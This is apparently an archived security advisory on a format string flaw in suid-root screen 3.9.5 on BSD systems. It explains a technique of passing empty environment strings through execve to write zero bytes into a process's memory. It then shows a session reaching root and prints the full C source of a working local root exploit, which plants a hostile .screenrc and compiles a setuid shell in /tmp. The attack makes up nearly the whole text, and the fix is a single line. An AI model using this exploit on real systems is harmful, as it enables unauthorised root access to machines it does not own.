COMMAND

    screen

SYSTEMS AFFECTED

    BSDish

PROBLEM

    Paul Starzetz found following.   He found a way to  exploit format
    string vulnerable applications, which are suid root (like  screen)
    on BSD-like systems.   The mentioned problems  arise form the  low
    virtual memory address (VMA) we want write to.

    As far as there  is no way to  construct a string containing  more
    0x0's in standard C,  we can profit from  a feature (bug?) in  the
    passing  of  environment  variables  by  execve function. execve()
    will  pass  empty  env  strings  (pointers  to  zeros,  _not_ NULL
    pointers) AS IS, so passing  e.g.  environ[a] = empty,  environ[a]
    = empty will lead to two 0x0#s pushed somewhere onto the  stack...
    With this feature we can  construct an array of arbitrary  data on
    the bottom of the called programm's  stack.  If this array can  be
    reached from a  fmt-vulnerable function, we  can write to  ANY VMA
    address including also the .data section of a BSD process.

    So we could now  utilize that and write  a new exploit for  screen
    which is  our example  here, but  there is  still another problem.
    Screen would  lock up  after we  simply write  to (&real_uid  - 2)
    because we write to a part  of another variable too, in this  case
    struct display* display, which leads to a complete crash.  A  look
    at the debugger  output shows that  the following variable  may be
    overwritten without  consequences, it  seems to  be less important
    flag variable (sample offsets):

        00055888  display
        0005588c  real_uid
        00055890  adaptflag
        00055894  rflag

    Depending on the version you may not be able to overwrite real_uid
    wihtout crash....   So the technique  we need is  to construct the
    0x0 at &real_uid by  increasing the write address  successively by
    1, writting to lsb first.  This leads to following exploit:

        a.out
        USAGE a.out <write offset> <bufferoffset> <byteadj> <padding>
        bash-2.04$ id
        uid=1000(kurak) gid=10(users) groups=10(users)

    First we need a bufferoffset at which screen wouldn't crash  after
    <ctrl-g> at _only_ one padding =  {0,1,2,3}.  The pair 10 0  would
    do the job here:

        bash-2.04$ a.out 0 10 0 0
        Screen 3.9.5 local r00t exploit
        by IhaQueR@IRCNET
        
        creating magic string
        building /tmp/.home/.screenrc
        creating /tmp/.home/.bashrc
        compiling suid shell
        press enter to start screen, then hit enter again, ctrl-g, ctrl-c for
        suid shell at /tmp/sush and root uid
        Screen version 3.09.05 (FAU) 1-Sep-99
        ...
        chown: /tmp/sush: Operation not permitted
        chmod: /tmp/sush: Operation not permitted
        kurak@ExploitMe> <ctrl-g> STATUS shows:
        7m5e-309-2e+1530-2e+1531e-30934-2e+1535e-3092e-3232e-3097e-309-2e+153-2e+1534e-309
        <ctrl-c>
        chown: /tmp/sush: Operation not permitted
        chmod: /tmp/sush: Operation not permitted
        I have no name!@ExploitMe>id
        uid=318941 gid=10(users) groups=10(users)
        ...
        [screen is terminating]
        
        Now the uid is 318941, hex 0x0004dddd, which means we have the write
        sequence 2, 3, 0, 1. So the padding must be increased by 8 again:
        
        bash-2.04$ a.out 0 10 0 8
        ...
        I have no name!@ExploitMe>id
        uid=3705461980 gid=10(users) groups=10(users)
        ...
        [screen is terminating]
        
        Now uid is 3705461980, hex 0xdcdcdcdc, so now we need to increase the
        byteadj by 256-0xdc = 36:
        
        bash-2.04$ a.out 0 10 36 8
        ...
        uid=0(root) gid=10(users) groups=10(users)
        root@ExploitMe>ls -l /tmp
        total 70
        -r--r--r--  1 root   wheel     11 Sep  7 13:07 .X0-lock
        drwxrwxrwt  2 root   wheel    512 Sep  7 13:07 .X11-unix
        drwxr-xr-x  2 kurak  wheel    512 Sep  9 19:52 .home
        drwxr-xr-x  3 root   wheel    512 Sep  7 13:51 screens
        -rw-r--r--  1 kurak  wheel   3970 Sep  9 03:55 stackdmp
        -rwsr-xr-x  1 root   wheel  25564 Sep  9 20:16 sush
        ...

    Boah, now  we have  uid=0 and  a suid  shell at  /tmp/sush.  Note,
    with  this  technique  you  may  bypass  even  an  non-exec stack,
    because we  aren't executing  anything.   With the  'byte by byte'
    writing  technique  combined  with  the  execve  'feature' one may
    write to even low VMA  any data he want (assuming  the application
    is vulnerable of course).  Imagine a suid app, which never  starts
    a shell  nor uses  setuid(), but  calls e.g.   /bin/mail to report
    you  are  trying  to  abuse  it...  You  may  change  the   string
    "/bin/mail" for example to "/tmp/r00t"....

    explbsd395.c was tested again OpenBSD 2.8-beta (broken):

    /****************************************************************
    *								                                *
    *		Screen 3.9.5 BSD local exploit			                *
    *		by IhaQueR at IRCNET				                    *
    *		!only for demonstrative purposes!		                *
    *								                                *
    ****************************************************************/
    
    
    
    
    #include <stdio.h>
    #include <sys/stat.h>
    #include <sys/types.h>
    #include <fcntl.h>
    #include <unistd.h>
    #include <string.h>
    #include <sys/utsname.h>
    #include <pwd.h>
    #include <stdlib.h>
    #include <errno.h>
    
    
    
    extern char **environ;
    
    
    
    char* home = "/tmp/.home";
    char* ev1 = "PS1=\\u@ExploitMe>";
    
    
    #define SCREEN "/usr/local/bin/screen-3.9.5"
    #define SHELL "/bin/sh"
    #define SCREENRC ".screenrc"
    #define BASHRC ".bashrc"
    
    
    
    /*	offset to the env seen from Msg()	*/
    #define BUFOFFSET 2682
    
    /*	addr to be written	(may vary)*/
    #define WRITEADDR 0x3c1e4
    
    
    /*	some addresses grabbed from 3.9.5
    
    OpenBSD:	&real_uid,	&real_gid,	&eff_uid,	&eff_gid
		    0x3c1e4		0x3c224		0x3b1b0		0x3b1a4
    
    
    for finding addresses see expl.c, it may be hard...
    
    */
    
    
    
    /*	repeat the addr table in environ	*/
    #define ENVREP 32
    
    /*	but write only once	*/
    #define WREP 1
    
    
    char* env[ENVREP*4 + 256];
    
    #define TMPBUFSIZE (BUFOFFSET+1024)
    
    
    
    
    
    int main(int argc, char** argv)
    {
    int i, off=0;
    int writeoffs=0, bufoffset=0, padding=0, bfoff=0, byteadj=0;
    int ep=0, b=0, ob=0;
    unsigned vv[ENVREP+2];
    unsigned char* pp;
    FILE* fp;
    
    char buf[TMPBUFSIZE];
    unsigned char myhome[TMPBUFSIZE];
    char screenrc[TMPBUFSIZE];
    char bashrc[TMPBUFSIZE];
    char pad[TMPBUFSIZE];
    char buf2[TMPBUFSIZE];
    
    
		    if(argc != 5) {
			    printf("USAGE %s <write offset> <bufferoffset> <byteadj> <padding>\n", argv[0]);
			    return 0;
		    } else {
			    printf("Screen 3.9.5 local r00t exploit\n");
			    printf("by IhaQueR@IRCNET\n\n");
		    }
    
    /*	user supplied offsets	*/
		    writeoffs = atoi(argv[1]);
		    bfoff = atoi(argv[2]);
		    byteadj = atoi(argv[3]);
		    padding = atoi(argv[4]);
    
    /*	create env	*/
		    for(i=0; i<ENVREP; i++)
			    vv[i] = WRITEADDR + writeoffs + i%4;
    
		    vv[ENVREP] = 0;
    
		    pp = (unsigned char*) vv;
		    b = 0;
		    ob = b;
    
		    sprintf(myhome, "HOME=%s", home);
		    putenv(myhome);
		    putenv(ev1);
    
		    while(environ[ep]){
			    env[ep] = environ[ep];
			    ep++;
		    }
    
    /*	pad	*/
		    sprintf(pad, "%s", "PPPP");
		    for(i=0; i<padding; i++)
			    strcat(pad, "Q");
            env[ep++]=pad;
    
		    while(b<ENVREP*4) {
			    if(pp[b] == 0) {
				    env[ep] = pp + ob;
				    ob = b+1;
				    ep++;
			    }
			    b++;
		    }
    
		    if(*(pp+ob))
			    env[ep++] = pp + ob;
    
		    env[ep++] = NULL;
    
    /*	create vbell string	*/
		    printf("creating magic string\n");
		    bzero(buf, TMPBUFSIZE);
		    bufoffset = BUFOFFSET + bfoff*sizeof(double);
    
    /*	consume stack arguments	*/
		    for(i=0; i<bufoffset/sizeof(double)+1; i++)
			    strcat(buf, "%.g");
    
    /*	finally write to adress	*/
		    sprintf(buf2, "%%dx%%n%%n%%n%%n", byteadj+16);
		    for(i=0;i<WREP; i++)
			    strcat(buf, buf2);
    
    /*	create homedir	*/
		    if(mkdir((char*)(home), 0xfff))
			    if(errno != EEXIST) {
				    printf("\nERROR: mkdir()");
				    return 2;
			    }
    
    /*	strings for .screenrc and .bashrc	*/
		    strcpy(screenrc, home);
		    strcat(screenrc, "/");
		    strcat(screenrc, SCREENRC);
		    strcpy(bashrc, home);
		    strcat(bashrc, "/");
		    strcat(bashrc, BASHRC);
    
    /*	create screenrc	*/
		    printf("building %s\n", screenrc);
		    if(fp = fopen(screenrc, "w")) {
			    fprintf(fp, "vbell on\n");
			    fprintf(fp, "vbell_msg '%s'\n", buf);
			    fprintf(fp, "vbellwait 3600\n");
			    fclose(fp);
		    }
		    else {
			    printf("ERROR: opening %s\n", screenrc);
			    return 1;
		    }
    
    /*	create bashrc	*/
		    printf("creating %s\n", bashrc);
		    snprintf(buf, TMPBUFSIZE, "echo >%s 'chown root /tmp/sush; chmod 4755
    /tmp/sush'", bashrc);
		    system(buf);
    
    /*	create suid shell	*/
		    printf("compiling suid shell\n");
		    snprintf(buf, TMPBUFSIZE, "echo >/tmp/sush.c 'main(int ac, char**
    av){setuid(0); setgid(0); execv(\"%s\", av);}'", SHELL);
		    system(buf);
		    system("gcc /tmp/sush.c -o /tmp/sush");
    
    /*	set env and call screen	*/
		    argv[1] = NULL;
		    printf("press enter to start screen, then hit enter again, ctrl-g, ctrl-c for suid shell at /tmp/sush and root uid");
		    getchar();
    
		    execve(SCREEN, argv, env);
    }

SOLUTION

    Patch is available.